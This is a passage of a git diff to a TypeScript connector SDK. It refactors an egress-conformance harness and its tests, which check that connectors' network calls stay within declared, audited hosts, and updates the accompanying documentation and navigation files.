construction refuses the run. - `INSTRUMENTATION_NOT_RESTORED`: restoration threw or its descriptor verification failed. The run ends and names any skipped cases. - `RUN_OVERLAPPING`: another harness run owns instrumentation in this isolate. - `ISOLATE_POISONED`: an earlier case timed out in this isolate; no further run is accepted. @@ -813,7 +813,7 @@ An egress-declaring connector needs an observed transport call somewhere in the Audit witnesses come from this case's supplied logger, during its invocation, with a `decisionCode` and `resource` equal to the subject connector's id. Setup logs, agent-policy records, and another connector's decisions cannot establish the subject's audit wiring or change its result. This attribution separates ordinary composition; it does not authenticate an arbitrary logger caller. `decisionCodes` preserves invocation-window events for diagnosis, including nested connector codes and `undefined` for events without a code; like `guardedHosts`, it is empty for a case the eligibility rule above excludes. -Egress is not separated the same way. The supplied base transport checks every host against the SUBJECT's registered `egress`, whatever code is holding it: a nested connector the subject composes, handed the subject's `policies.fetch`, reaches a host only its own manifest declares and the transport refuses it there, recorded as a host the registered declaration does not cover. Declare on the subject every host its composition reaches, or give the nested connector its own transport and accept that traffic through it is unobserved. +Egress is not separated the same way. Once a case binds its subject, the supplied base transport checks each host against that subject's registered `egress`, whatever code is holding it: a nested connector the subject composes, handed the subject's `policies.fetch`, reaches a host only its own manifest declares and the transport refuses it there, recorded as a host the registered declaration does not cover. Before that binding — while the probe or a case factory is constructing — the transport has no declaration to read and refuses the call. Declare on the subject every host its composition reaches, or give the nested connector its own transport and accept that traffic through it is unobserved. Input-schema failures and `invokeConnector` pre-flight refusals have no expectation arm. Test them in ordinary connector tests. Supplied here, they report `proved: 'nothing'` with `CASE_EXPECTATION_UNMET`, whatever the case declared, because the gate boundary was never reached. Cases refused before invocation by instrumentation, factory construction, registration, posture, or manifest checks, and cases with an invocation setup failure, never run their invocation and are ineligible under the eligibility rule above. These cases add no expectation or wiring failure. Any escape recorded during their setup still becomes `NETWORK_IO_OUTSIDE_RUNTIME_FETCH`. @@ -846,7 +846,7 @@ A run's evidence is finite. These items state what a run records on the paths it 1. A run certifies the cases you supply, in the isolate that loads the harness, over each case's instrumented window: the install that precedes the case, the factory construction and invocation inside it, and the settlement that follows. A network path no case exercises and another isolate are outside that evidence. The harness keeps its overlapping-run and timed-out-isolate guards in module scope, so a second copy of this package loaded in the same isolate carries guards of its own; the package's `.` and `./connector-sdk` entry points resolve to one copy. 2. A `fetch` reference the subject captured before the harness installed its trap bypasses that trap, and a redefinition or deletion the case itself reverses before it settles is gone before the harness verifies the entry point; neither is observed. An assignment to a harness-installed accessor is a different channel: the `INSTRUMENTATION_REPLACED` description states what happens to it. 3. Traffic through an independent transport, one that reaches neither a harness trap nor the supplied base transport, is unobserved. Whether a factory that supplies such a transport in place of the harness's is reported depends on the declaration: a connector declaring `egress` is subject to the transport-evidence requirement, which can report the run as `NO_TRANSPORT_EVIDENCE`; a connector declaring no `egress` is outside that requirement, so the substitution is silently unobserved. A replacement transport that itself calls an instrumented entry point is still trapped. On workerd the independent transports are first-class and named: a service, Durable Object or other binding's own `fetch` method, a socket opened with `connect()` from `cloudflare:sockets`, and a `WebSocket` the connector constructs. None of them goes through `globalThis.fetch`, so none is trapped and no case observes one. Pass such a binding as an `entryPoints` target to instrument its method, or declare the connector `declaration-only` and certify nothing about that traffic. -4. A parseable request the connector makes on the supplied base transport for a host its registered manifest declares is served with a synthetic response. The case result's `transportCalls` is the transport's count read when the case settles; a call the retained transport serves after settlement is served the same way and counted by no case. Whether the call's host is among the case's `guardedHosts` depends on the eligibility rule alone; the precedence rule decides whether those hosts prove `guarded-request`. The harness records no escape for it, and no finding identifies it as a call made around the guarded `fetch`. `POLICIES_NOT_WIRED` reports absent wiring evidence rather than a served call. +4. A parseable request the connector makes on the supplied base transport for a host its registered manifest declares is served with a synthetic response. The case result's `transportCalls` is the transport's count read when the case settles; a call the retained transport serves after settlement is served the same way and counted by no case. `guardedHosts` is read at that same moment, so a host served only after settlement is not among them; for a host served during the case, whether it appears depends on the eligibility rule alone, and the precedence rule decides whether those hosts prove `guarded-request`. The harness records no escape for it, and no finding identifies it as a call made around the guarded `fetch`. `POLICIES_NOT_WIRED` reports absent wiring evidence rather than a served call. 5. A refusal on the supplied base transport — an unparseable address, no bound egress declaration, or an undeclared host — and a call through a trap reference the case kept alive both reach that case's recorder, where the `NETWORK_IO_OUTSIDE_RUNTIME_FETCH` rule routes them. The refusal still happens whether or not the attempt is recorded. The probe is a separate path: a transport or trap retained from probe construction reaches the run-level recorder, under no case name. 6. Work abandoned by one case that reads `globalThis.fetch` while a later case's trap is installed reaches that trap and is attributed to the later case. The harness records the instrument the call reached; it does not recover which case started the work. 7. A timed-out case ends the run and refuses later runs in this isolate. For it there is no interval in which a late attempt becomes a run-level finding: the case loop marks the case settled and the run closes with no `await` between the two, so work the case abandoned resumes to a closed run and nothing it then does is recorded. For work abandoned by any case, a read of `globalThis.fetch`, or of any restored entry point, when no trap is installed, including after the run closes, reaches the restored property if restoration succeeds. A request through it is neither trapped nor recorded and leaves the process. diff --git a/packages/breakwater/src/agent-cli/CLAUDE.md b/packages/breakwater/src/agent-cli/CLAUDE.md index b75da499..2f344823 100644 --- a/packages/breakwater/src/agent-cli/CLAUDE.md +++ b/packages/breakwater/src/agent-cli/CLAUDE.md @@ -1,6 +1,7 @@ # Agent CLI navigation - `index.ts`: generic, Claude Code, and Codex adapters +- `exec-contract.ts`: the spawn seam's process result and injectable runner - `tail-accumulator.ts`: bounded UTF-8 output capture - `agent-cli.test.ts`: argv, approval, dry-run, timeout, output, and diagnostics coverage diff --git a/packages/breakwater/src/agent/agent.test.ts b/packages/breakwater/src/agent/agent.test.ts index f941fd21..3df5e559 100644 --- a/packages/breakwater/src/agent/agent.test.ts +++ b/packages/breakwater/src/agent/agent.test.ts @@ -855,6 +855,9 @@ describe('Mastra Agent execution-entry inventory', () => { 'streamLegacy', 'streamUntilIdle', ]; + // A narrowed handle can only omit, so a setter or data-returning member + // is harmless here; flowsafe blocks these same members on the instance + // Mastra calls in-process. const explicitlyNonExecution = [ '__fork', '__getDrainPendingSignals', @@ -872,10 +875,7 @@ describe('Mastra Agent execution-entry inventory', () => { '__setDeclaredSchedules', '__setMemory', '__setPubSub', - // Installs another agent as the target the thread runtime drives. The - // narrowed handle omits it rather than throwing, so nothing reaches it - // through this surface; flowsafe blocks the same member on its INSTANCE, - // which Mastra calls in-process. + // Installs another agent as the target the thread runtime drives. '__setThreadRuntimeAgent', '__setTools', '__setWorkspace', @@ -886,9 +886,7 @@ describe('Mastra Agent execution-entry inventory', () => { 'browser', // Cancels queued idle signals; it can stop pending work, never start it. 'cancelQueuedMessages', - // Opts the agent in as a thread's remote wake target, leaving a live - // subscription behind. The handle omits it, so no caller can take that - // claim through this surface. + // Opts the agent in as a thread's remote wake target and subscriber. 'claimThreadOwnership', 'clearObjective', 'combineProcessorsIntoWorkflow', @@ -1077,7 +1075,7 @@ describe('Mastra Agent execution-entry inventory', () => { if (installedCore === declaredPeer) { expect( forwardClassified.filter((name) => own.includes(name)), - `the pin caught up to these on @mastra/core ${installedCore} — drop them from forwardClassified so the stale check covers them again`, + `the pin caught up to these on @mastra/core ${installedCore} — drop them from forwardClassified so the stale check covers them again, and prune its sibling allowance in the same pass: the VERSION_SKEW table in flowsafe's durable-agent-surface.test.ts`, ).toEqual([]); } else { expect( diff --git a/packages/breakwater/src/audit/index.ts b/packages/breakwater/src/audit/index.ts index 7d74b735..c86f7109 100644 --- a/packages/breakwater/src/audit/index.ts +++ b/packages/breakwater/src/audit/index.ts @@ -52,16 +52,30 @@ export interface AgentAuditContext { delegatedBy?: string; } -const AGENT_AUDIT_OPTIONAL_FIELDS = [ - 'tenantId', - 'runId', - 'threadId', - 'resourceId', - 'principalKind', - 'principalId', - 'purpose', - 'delegatedBy', -] as const; +// `agentId` and `entryPath` are required and read by name below; the rest are +// what the copy loop walks. +type AgentAuditOptionalField = Exclude< + keyof AgentAuditContext, + 'agentId' | 'entryPath' +>; + +// Exhaustive over those members: one the interface gains is a missing property +// here, one it drops an excess property. `Object.keys` preserves the literal's +// insertion order, which is the order the copy below writes the fields in. +const AGENT_AUDIT_OPTIONAL_FIELD_SET: Record = { + tenantId: true, + runId: true, + threadId: true, + resourceId: true, + principalKind: true, + principalId: true, + purpose: true, + delegatedBy: true, +}; + +const AGENT_AUDIT_OPTIONAL_FIELDS = Object.keys( + AGENT_AUDIT_OPTIONAL_FIELD_SET, +) as AgentAuditOptionalField[]; /** * Read only the documented scalar fields from trusted request context. diff --git a/packages/breakwater/src/connector-decision.ts b/packages/breakwater/src/connector-decision.ts index 83af3c29..a9ddf0b1 100644 --- a/packages/breakwater/src/connector-decision.ts +++ b/packages/breakwater/src/connector-decision.ts @@ -354,11 +354,13 @@ export function connectorErrorDecision( * trap answers with a throw; a value that cannot say what it is, is not the * constructor asked about. * - * The test for reaching for it: the operand is a value the SDK did not - * construct, and the answer can reach a conformance report. An operand the SDK - * built — every `validateOutput` failure, a `Promise` the SDK awaits, a store - * the caller passed to the constructor — carries no trap and takes a bare - * `instanceof`. Where the answer is a classification over several constructors, + * The test for reaching for it: the operand came from the connector — a value + * it returned or threw — rather than from the host or from the SDK. A + * `validateOutput` failure, a `Promise` the SDK awaits and a store the caller + * passed to the constructor sit on the trusted side and take a bare + * `instanceof`. An enclosing `try` that already covers the read guards it too, + * which is what a bare `instanceof` on a connector's thrown value inside one + * relies on. Where the answer is a classification over several constructors, * one guarded classification covers them all. * * @internal diff --git a/packages/breakwater/src/connector-sdk/CLAUDE.md b/packages/breakwater/src/connector-sdk/CLAUDE.md index 3764587d..145e2377 100644 --- a/packages/breakwater/src/connector-sdk/CLAUDE.md +++ b/packages/breakwater/src/connector-sdk/CLAUDE.md @@ -1,7 +1,10 @@ # Connector SDK navigation -- `index.ts`: permission manifest and enforced tool wrapper +- `index.ts`: connector construction and the enforced tool wrapper +- `contracts.ts`: the manifest, store, policy and connector declarations the siblings share +- `egress-posture.ts`: resolves the omitted `egressEnforcement` default - `egress-conformance.ts`: case-scoped proof that a connector's traffic stays inside the guarded fetch; unrelated to `packages/agent-starter/conformance/`, which is a deployment conformance suite for the starter's Worker configuration +- `egress-conformance.fixtures.ts`: the manifests and cases the conformance suites drive - `egress-fetch.ts`: per-hop runtime fetch enforcement - `d1-idempotency-store.ts`: durable atomic replay protection - `d1-rate-limit-store.ts`: shared fixed-window counters diff --git a/packages/breakwater/src/connector-sdk/contracts.ts b/packages/breakwater/src/connector-sdk/contracts.ts index 533e987e..00f51b4e 100644 --- a/packages/breakwater/src/connector-sdk/contracts.ts +++ b/packages/breakwater/src/connector-sdk/contracts.ts @@ -1,10 +1,17 @@ // SPDX-License-Identifier: Apache-2.0 -// Connector contracts — the manifest, store, policy and connector shapes the -// SDK is written against. +// Connector contracts — the declarations a connector-sdk sibling needs without +// reaching the barrel that imports them back: manifest, store, policy and +// connector shapes that cross that edge. // // A type-only leaf, so the preset, the D1 stores, the key migration and the -// conformance harness take these declarations without importing the barrel -// that imports them back. +// conformance harness take these declarations without importing the barrel. +// That need is the criterion for what moves here; a declaration the barrel +// alone consumes stays in the barrel. +// +// `AuditLogger` arrives from the `../audit/index.js` barrel rather than from a +// leaf because audit publishes it as a class. The edge is admissible while +// audit reaches nothing under `connector-sdk/`; the day it does, the cycle +// fails the build instead of passing silently. import type { RequestContext } from '@mastra/core/request-context'; import type { Tool, ToolExecutionContext } from '@mastra/core/tools'; diff --git a/packages/breakwater/src/connector-sdk/egress-conformance.fixtures.ts b/packages/breakwater/src/connector-sdk/egress-conformance.fixtures.ts new file mode 100644 index 00000000..f4395f3c --- /dev/null +++ b/packages/breakwater/src/connector-sdk/egress-conformance.fixtures.ts @@ -0,0 +1,31 @@ +// SPDX-License-Identifier: Apache-2.0 +// The manifests and cases both conformance suites drive. Keep vitest out of +// it: it sits under `src`, and the build program excludes it by name rather +// than by the `.test.ts` suffix. +import type { + ConnectorConfig, + ConnectorConformanceCase, + PermissionManifest, +} from './index.js'; + +export type Execute = ConnectorConfig['execute']; + +export const manifest: PermissionManifest = { + sideEffect: 'read', + egress: ['api.vendor.example'], + egressEnforcement: 'enforced', +}; +export const noEgress: PermissionManifest = { + sideEffect: 'read', + egressEnforcement: 'enforced', +}; +export const requestCase: ConnectorConformanceCase = { + name: 'request', + input: {}, + expect: { outcome: 'guarded-request', hosts: ['api.vendor.example'] }, +}; +export const quietCase: ConnectorConformanceCase = { + name: 'quiet', + input: {}, + expect: { outcome: 'no-network' }, +}; diff --git a/packages/breakwater/src/connector-sdk/egress-conformance.test.ts b/packages/breakwater/src/connector-sdk/egress-conformance.test.ts index d97105c1..bd40769a 100644 --- a/packages/breakwater/src/connector-sdk/egress-conformance.test.ts +++ b/packages/breakwater/src/connector-sdk/egress-conformance.test.ts @@ -3,11 +3,17 @@ import { existsSync, readFileSync } from 'node:fs'; import { createTool } from '@mastra/core/tools'; import { describe, expect, it, vi } from 'vitest'; import { z } from 'zod'; +import { + type Execute, + manifest, + noEgress, + quietCase, + requestCase, +} from './egress-conformance.fixtures.js'; import { CONFORMANCE_LIMIT } from './egress-conformance.js'; import { assertConnectorConformance, type Connector, - type ConnectorConfig, type ConnectorConformanceCase, ConnectorConformanceError, type ConnectorConformanceFactory, @@ -23,31 +29,11 @@ import { singleTenantConnectorPolicies, } from './index.js'; -const manifest: PermissionManifest = { - sideEffect: 'read', - egress: ['api.vendor.example'], - egressEnforcement: 'enforced', -}; -const noEgress: PermissionManifest = { - sideEffect: 'read', - egressEnforcement: 'enforced', -}; -const requestCase: ConnectorConformanceCase = { - name: 'request', - input: {}, - expect: { outcome: 'guarded-request', hosts: ['api.vendor.example'] }, -}; -const quietCase: ConnectorConformanceCase = { - name: 'quiet', - input: {}, - expect: { outcome: 'no-network' }, -}; const fetchReason = 'either the factory did not wire policies.fetch, or the connector called the ambient global directly for a host it declares; the escape record beside this finding is authoritative for the request itself.'; const boundaryReason = "the case produced no audit event because the connector's gate boundary was never reached; a pre-boundary refusal is not expressible by any expectation and belongs in an ordinary connector test"; -type Execute = ConnectorConfig['execute']; function factory( execute: Execute = async (_input, _context, runtime) => { await runtime.fetch('https://api.vendor.example'); @@ -661,6 +647,32 @@ describe('connector egress conformance', () => { expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); }); + it('reports INSTRUMENTATION_REPLACED with unobserved calls when a case deletes the entry point', async () => { + // #given + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + // #when + const report = await rejected( + assertConnectorConformance( + quietFactory(async () => { + Reflect.deleteProperty(globalThis, 'fetch'); + return {}; + }), + { manifest: noEgress, cases: [quietCase] }, + ), + ); + // #then + expect(report.conformant).toBe(false); + expect(report.findings).toEqual([ + { + code: 'INSTRUMENTATION_REPLACED', + case: 'quiet', + reason: + 'globalThis.fetch descriptor differs from the one the harness installed: absent property; calls made after the replacement were not observed', + }, + ]); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + it.each<{ label: string; value: unknown; forbidden: readonly string[] }>([ { label: 'null', value: null, forbidden: [] }, { label: 'a string', value: 'boom', forbidden: ['boom'] }, @@ -1672,22 +1684,30 @@ describe('connector egress conformance', () => { }); it('keeps the published limit text identical to the harness constant', () => { - for (const relative of [ + // #given + const documents = [ '../../CONNECTORS.md', '../../../../docs/connector-interface.md', - ]) { - expect( - readFileSync(new URL(relative, import.meta.url), 'utf8'), - relative, - ).toContain(CONFORMANCE_LIMIT); - } + ]; // Changesets are consumed at versioning. const changeset = new URL( '../../../../.changeset/connector-conformance-harness.md', import.meta.url, ); - if (existsSync(changeset)) { - expect(readFileSync(changeset, 'utf8')).toContain(CONFORMANCE_LIMIT); + // #when + const published = documents.map((relative) => ({ + relative, + text: readFileSync(new URL(relative, import.meta.url), 'utf8'), + })); + const changesetText = existsSync(changeset) + ? readFileSync(changeset, 'utf8') + : undefined; + // #then + for (const { relative, text } of published) { + expect(text, relative).toContain(CONFORMANCE_LIMIT); + } + if (changesetText !== undefined) { + expect(changesetText).toContain(CONFORMANCE_LIMIT); } }); diff --git a/packages/breakwater/src/connector-sdk/egress-conformance.timeout.test.ts b/packages/breakwater/src/connector-sdk/egress-conformance.timeout.test.ts index ca2b9151..027368f6 100644 --- a/packages/breakwater/src/connector-sdk/egress-conformance.timeout.test.ts +++ b/packages/breakwater/src/connector-sdk/egress-conformance.timeout.test.ts @@ -3,10 +3,15 @@ // instance are refused. The obligations that time out live here, in a file and // a vitest invocation of their own, rather than beside the harness suite. import { describe, expect, it, vi } from 'vitest'; +import { + type Execute, + manifest, + noEgress, + quietCase, + requestCase, +} from './egress-conformance.fixtures.js'; import { assertConnectorConformance, - type ConnectorConfig, - type ConnectorConformanceCase, ConnectorConformanceError, type ConnectorConformanceFactory, type ConnectorConformanceReport, @@ -15,27 +20,6 @@ import { type PermissionManifest, } from './index.js'; -const manifest: PermissionManifest = { - sideEffect: 'read', - egress: ['api.vendor.example'], - egressEnforcement: 'enforced', -}; -const noEgress: PermissionManifest = { - sideEffect: 'read', - egressEnforcement: 'enforced', -}; -const requestCase: ConnectorConformanceCase = { - name: 'request', - input: {}, - expect: { outcome: 'guarded-request', hosts: ['api.vendor.example'] }, -}; -const quietCase: ConnectorConformanceCase = { - name: 'quiet', - input: {}, - expect: { outcome: 'no-network' }, -}; - -type Execute = ConnectorConfig['execute']; function factory( execute: Execute = async (_input, _context, runtime) => { await runtime.fetch('https://api.vendor.example'); diff --git a/packages/breakwater/src/connector-sdk/egress-conformance.ts b/packages/breakwater/src/connector-sdk/egress-conformance.ts index 50dbd8a8..058ec9f0 100644 --- a/packages/breakwater/src/connector-sdk/egress-conformance.ts +++ b/packages/breakwater/src/connector-sdk/egress-conformance.ts @@ -24,6 +24,7 @@ import type { PermissionManifest, } from './contracts.js'; import type { EgressFetchBase, EgressResponse } from './egress-fetch.js'; +import { resolveEgressPosture } from './egress-posture.js'; export interface ConnectorConformanceCase { readonly name: string; @@ -252,11 +253,6 @@ const refuseRun = (findings: readonly ConnectorConformanceFinding[]): never => { }); }; -/** Refuse with the report the run built, its findings and limit already on it. */ -const refuseReport = (report: ConnectorConformanceReport): never => { - throw new ConnectorConformanceError(report); -}; - /** * A destination that changes when the phase it belongs to ends. The transport * and the traps a phase hands to connector code hold this object, so where a @@ -600,10 +596,7 @@ function manifestsMatch( left.every((value, index) => Object.is(value, right[index])); } if (key === 'egressEnforcement') { - return ( - (claimed[key] ?? 'declaration-only') === - (registered[key] ?? 'declaration-only') - ); + return resolveEgressPosture(claimed) === resolveEgressPosture(registered); } return Object.is(claimed[key] ?? undefined, registered[key] ?? undefined); }); @@ -648,11 +641,10 @@ function describeDescriptor(d: PropertyDescriptor | undefined): string { } /** - * The vocabulary for a value a consumer's own code threw, where the message or - * the string form is the diagnostic: `FACTORY_FAILED` and the two - * instrumentation findings. A function is described by type instead, because - * its string form is its source text. `describeValue` is the other vocabulary, - * for a value the subject threw. + * The vocabulary for a value a consumer's own code threw: the error's message + * where it reads as one, otherwise the value's own string form. A function is + * described by type instead, because its string form is its source text. + * `describeValue` is the other vocabulary, for a value the subject threw. */ function errorMessage(error: unknown): string { try { @@ -728,9 +720,9 @@ function invocationFailureReason(error: unknown): string { } /** - * The vocabulary for a value the SUBJECT threw or returned, where the type is - * the whole diagnostic: `CASE_INVOCATION_FAILED`, `SUBJECT_UNREGISTERED`, and - * the function arm of `errorMessage`. It copies no byte of the value. + * The vocabulary for a value the SUBJECT threw or returned: its type, and + * nothing of the value itself. A reason built from it carries no byte the + * subject supplied. */ function describeValue(value: unknown): string { if (value === undefined) return 'undefined'; @@ -761,9 +753,9 @@ function verifyEntries( const { target, property, label, trap: installedTrap } = entry; let shape: string; let difference = 'descriptor differs from the one the harness installed'; - // Empty where the descriptor answers whether the trap kept serving calls, - // and the answer is yes. The other two answers are stated, so silence here - // never has to carry one of them. + // Empty where a data property still holds the installed trap, so calls + // kept reaching it, and on the catch arm, where neither the descriptor nor + // the effective value could be read. let calls = ''; try { const descriptor = Object.getOwnPropertyDescriptor(target, property); @@ -781,6 +773,10 @@ function verifyEntries( // about what a call after the replacement reached, and the harness does // not invoke a consumer's getter to find out. calls = CALLS_UNCHECKED; + } else { + // The entry point is gone, so a read after the replacement resolves + // through the prototype chain or to undefined, and not to the trap. + calls = CALLS_UNOBSERVED; } } catch { difference = 'descriptor or effective value could not be verified'; @@ -970,9 +966,9 @@ function escapeFinding( ): ConnectorConformanceFinding { return { code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH', - // A call on the supplied base transport went through the harness, not - // around it: what the transport refused is a host its registered egress - // declaration does not cover. A call on any other entry point reached an + // A call the supplied base transport refused reached the harness's own + // transport rather than going around it; CONNECTORS.md states the + // conditions it refuses on. A call on any other entry point reached an // instrument the connector was not given, which is the bypass. reason: attempt.entryPoint === POLICIES_FETCH_LABEL @@ -1012,11 +1008,10 @@ function registrySubject(value: unknown): object | undefined { : undefined; } -/** What a case proved, and the measurements the classification read. */ +/** What a case proved, and the hosts the classification read. */ interface CaseObservation { readonly proved: ConnectorConformanceCaseResult['proved']; readonly guardedHosts: readonly string[]; - readonly decisionCodes: readonly (ConnectorDecisionCode | undefined)[]; } /** Everything an eligible case measured, as the classification reads it. */ @@ -1025,10 +1020,6 @@ interface CaseEvidence { /** The registered egress declaration, read once for the run. */ readonly declaredEgress: readonly string[]; readonly escapes: readonly ConnectorConformanceEscape[]; - readonly auditEvents: readonly { - readonly event: AuditEvent; - readonly inWindow: boolean; - }[]; readonly witnesses: readonly AuditEvent[]; readonly transportCalls: number; readonly transportHosts: readonly string[]; @@ -1046,9 +1037,6 @@ function observeCase( record: RecordFinding, ): CaseObservation { const guardedHosts = [...new Set(evidence.transportHosts)]; - const decisionCodes = evidence.auditEvents - .filter((e) => e.inWindow) - .map((e) => e.event.decisionCode); // A value whose classification cannot be read is by definition none of the // three known kinds, so it takes the foreign branch. const invocationKind = classifyInvocationError(evidence.invocation?.thrown); @@ -1091,7 +1079,7 @@ function observeCase( reason: "the case produced no audit event because the connector's gate boundary was never reached; a pre-boundary refusal is not expressible by any expectation and belongs in an ordinary connector test", }); - return { proved: 'nothing', guardedHosts, decisionCodes }; + return { proved: 'nothing', guardedHosts }; } const proved = evidence.witnesses.some( (event) => @@ -1122,7 +1110,7 @@ function observeCase( reason: `case expected ${expected.outcome} but proved ${proved}, or its required hosts or code were not observed`, }); } - return { proved, guardedHosts, decisionCodes }; + return { proved, guardedHosts }; } export function createConformanceAssertion(collaborators: { @@ -1484,33 +1472,35 @@ export function createConformanceAssertion(collaborators: { const witnesses = caseAuditEvents .filter(isWitness) .map((e) => e.event); + const decisionCodes = caseAuditEvents + .filter((e) => e.inWindow) + .map((e) => e.event.decisionCode); const transportCalls = caseTransport?.calls() ?? 0; // An invocation failure under a replaced instrument or a timeout // raises no CASE_INVOCATION_FAILED of its own: the case is // ineligible, and the INSTRUMENTATION_REPLACED or CASE_TIMEOUT // finding beside it is why it proves nothing. - const observation: CaseObservation = - invoked && !timedOut && instrumentationIntact - ? observeCase( - { - expect: c.expect, - declaredEgress, - escapes: caseEscapes, - auditEvents: caseAuditEvents, - witnesses, - transportCalls, - transportHosts: caseTransport?.hosts() ?? [], - invocation, - }, - recordCase, - ) - : { proved: 'nothing', guardedHosts: [], decisionCodes: [] }; + const eligible = invoked && !timedOut && instrumentationIntact; + const observation: CaseObservation = eligible + ? observeCase( + { + expect: c.expect, + declaredEgress, + escapes: caseEscapes, + witnesses, + transportCalls, + transportHosts: caseTransport?.hosts() ?? [], + invocation, + }, + recordCase, + ) + : { proved: 'nothing', guardedHosts: [] }; cases.push({ name: caseName, proved: observation.proved, guardedHosts: observation.guardedHosts, escapes: caseEscapes, - decisionCodes: observation.decisionCodes, + decisionCodes: eligible ? decisionCodes : [], transportCalls, auditEvents: witnesses.length, findings: [...caseFindings], @@ -1563,7 +1553,7 @@ export function createConformanceAssertion(collaborators: { findings: runFindings, limit: CONFORMANCE_LIMIT, }; - if (!report.conformant) refuseReport(report); + if (!report.conformant) throw new ConnectorConformanceError(report); return report; }; } diff --git a/packages/breakwater/src/connector-sdk/egress-posture.ts b/packages/breakwater/src/connector-sdk/egress-posture.ts new file mode 100644 index 00000000..e42c0cd9 --- /dev/null +++ b/packages/breakwater/src/connector-sdk/egress-posture.ts @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: Apache-2.0 +// One resolution of the posture default, in a leaf that imports only types, so +// a module can read it without taking on the SDK barrel. +import type { + ConnectorEgressPosture, + PermissionManifest, +} from './contracts.js'; + +/** The omitted-field default: a manifest without the field declares only. */ +export function resolveEgressPosture( + manifest: PermissionManifest, +): ConnectorEgressPosture { + return manifest.egressEnforcement ?? 'declaration-only'; +} diff --git a/packages/breakwater/src/connector-sdk/index.ts b/packages/breakwater/src/connector-sdk/index.ts index 877c79ea..9633a30d 100644 --- a/packages/breakwater/src/connector-sdk/index.ts +++ b/packages/breakwater/src/connector-sdk/index.ts @@ -70,6 +70,7 @@ import { EgressGuardError, egressFetch, } from './egress-fetch.js'; +import { resolveEgressPosture } from './egress-posture.js'; import { idempotencyStorageKey, isAmbiguousLegacyIdempotencyIdentity, @@ -546,14 +547,6 @@ export function connectorManifest( return manifests.get(tool); } -// Resolves the omitted-field default for both the readback below and the value -// createConnector gates on and audits, so the two cannot drift apart. -function resolveEgressPosture( - manifest: PermissionManifest, -): ConnectorEgressPosture { - return manifest.egressEnforcement ?? 'declaration-only'; -} - /** Resolved egress posture; `undefined` for a tool createConnector did not build. */ export function connectorEgressPosture( tool: object, @@ -926,14 +919,18 @@ export function createConnector( // the outer Mastra schema remains separately fingerprinted for direct calls. const outputStandard = outputValidator?.['~standard']; const outputValidate = outputStandard?.validate; - if (manifest.idempotencyKey && !policies.idempotencyStore) { + const store = policies.idempotencyStore; + if (manifest.idempotencyKey && !store) { throw new TypeError( `connector ${id}: permissions.idempotencyKey requires policies.idempotencyStore (InMemoryIdempotencyStore works for dev/tests)`, ); } + // Sampled once here; the execute path and the legacy migrator read it again + // per call, which is why this read is not shared with them. + const declaredKeyMigration = policies.idempotencyKeyMigration; if ( - policies.idempotencyKeyMigration !== undefined && - policies.idempotencyKeyMigration !== 'legacy-writers-drained' + declaredKeyMigration !== undefined && + declaredKeyMigration !== 'legacy-writers-drained' ) { throw new TypeError( `connector ${id}: policies.idempotencyKeyMigration must be 'legacy-writers-drained' when provided`, @@ -977,19 +974,21 @@ export function createConnector( manifest.rateLimit !== undefined ? parseRateLimit(id, manifest.rateLimit) : undefined; - if (rateLimitSpec && !policies.rateLimitStore) { + const rateLimitStore = rateLimitSpec ? policies.rateLimitStore : undefined; + if (rateLimitSpec && !rateLimitStore) { throw new TypeError( `connector ${id}: permissions.rateLimit requires policies.rateLimitStore (InMemoryRateLimitStore works for dev/tests)`, ); } const rateLimit = - rateLimitSpec && policies.rateLimitStore - ? { ...rateLimitSpec, store: policies.rateLimitStore } + rateLimitSpec && rateLimitStore + ? { ...rateLimitSpec, store: rateLimitStore } : undefined; const auditRecord = validatedPolicies.auditRecord; + const networkEgressPolicy = policies.networkEgress; const gates: readonly ToolPolicyEvaluator[] = [ - ...(policies.networkEgress ? [networkEgress(policies.networkEgress)] : []), + ...(networkEgressPolicy ? [networkEgress(networkEgressPolicy)] : []), ...(policies.evaluators ?? []), ]; const needsApproval = approvalRequired( @@ -997,7 +996,6 @@ export function createConnector( manifest, policies.writePermissions, ); - const store = policies.idempotencyStore; if ( manifest.idempotencyKey && store && diff --git a/packages/breakwater/src/connector-sdk/single-tenant-preset.test.ts b/packages/breakwater/src/connector-sdk/single-tenant-preset.test.ts index 9910a54a..443db507 100644 --- a/packages/breakwater/src/connector-sdk/single-tenant-preset.test.ts +++ b/packages/breakwater/src/connector-sdk/single-tenant-preset.test.ts @@ -566,6 +566,27 @@ describe('singleTenantConnectorPolicies', () => { ).toThrow(/single-tenant preset audit\.record changed/); }); + it('reads the preset audit member once', () => { + const complete = singleTenantConnectorPolicies(productionOptions()); + const baselineAudit = complete.audit; + const changing = { ...complete } as Record; + let reads = 0; + Object.defineProperty(changing, 'audit', { + enumerable: true, + get: () => (reads++ === 0 ? baselineAudit : { record: () => undefined }), + }); + + createConnector({ + id: 'records.audit-read-once', + description: 'Read one record', + permissions: { sideEffect: 'read' }, + policies: changing as never, + execute: async () => ({ ok: true }), + }); + + expect(reads).toBe(1); + }); + it('uses the frozen evaluator snapshot after a changing accessor', async () => { const complete = singleTenantConnectorPolicies({ audit: { mode: 'development', allowUnaudited: true }, diff --git a/packages/breakwater/src/connector-sdk/single-tenant-preset.ts b/packages/breakwater/src/connector-sdk/single-tenant-preset.ts index 4133e2d0..56c0627f 100644 --- a/packages/breakwater/src/connector-sdk/single-tenant-preset.ts +++ b/packages/breakwater/src/connector-sdk/single-tenant-preset.ts @@ -231,18 +231,25 @@ function snapshotRateLimitStore(store: D1RateLimitStore): RateLimitStore { // Policy members the preset pins between validation and construction. The // order decides which member a multi-member tamper is reported against, since -// the first mismatch throws. -const PINNED_PRESET_MEMBERS: readonly (keyof ConnectorPolicies)[] = [ - 'networkEgress', - 'idempotencyKeyMigration', - 'writePermissions', - 'evaluators', - 'idempotencyStore', - 'rateLimitStore', - 'audit', - 'fetch', - 'requireEgressEnforcement', -]; +// the first mismatch throws; `Object.keys` preserves the literal's insertion +// order, so the order written here is the order checked. Exhaustive over +// ConnectorPolicies: a member the interface gains is a missing property here, +// one it drops an excess property. +const PINNED_PRESET_MEMBER_SET: Record = { + networkEgress: true, + idempotencyKeyMigration: true, + writePermissions: true, + evaluators: true, + idempotencyStore: true, + rateLimitStore: true, + audit: true, + fetch: true, + requireEgressEnforcement: true, +}; + +const PINNED_PRESET_MEMBERS = Object.keys( + 